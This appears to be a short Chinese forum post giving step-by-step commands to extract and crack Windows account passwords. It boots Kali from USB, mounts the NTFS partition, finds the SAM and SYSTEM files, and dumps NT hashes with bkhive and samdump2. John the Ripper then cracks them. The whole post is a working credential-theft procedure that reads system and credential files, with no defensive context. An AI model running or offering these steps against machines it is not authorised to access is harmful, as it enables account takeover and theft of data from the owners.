引用
1. 使用usb启动kali
引用
2. fdisk -l
查看磁盘分区。在我电脑测试时为一个/dev/sda5,文件格式为HPFS/NTFS/exFAT
引用
3. mount -t ntfs /dev/sda5 /mnt
引用
4. cd /mnt
引用
5. find . -name "*SAM*"
找到存放SAM和SYSTEM文件的文件夹
引用
6. 将SAM和SYSTEM拷贝到工作目录下
引用
7. bkhive SYSTEM bootkey
来查看系统boot key,此时工作目录下多出一个bootkey的文件
引用
8. samdump2 SAM bootkey > hash.txt
使用samdump2命令dump出hash值
引用
9. john ./hash.txt --show --format=nt
来破解密码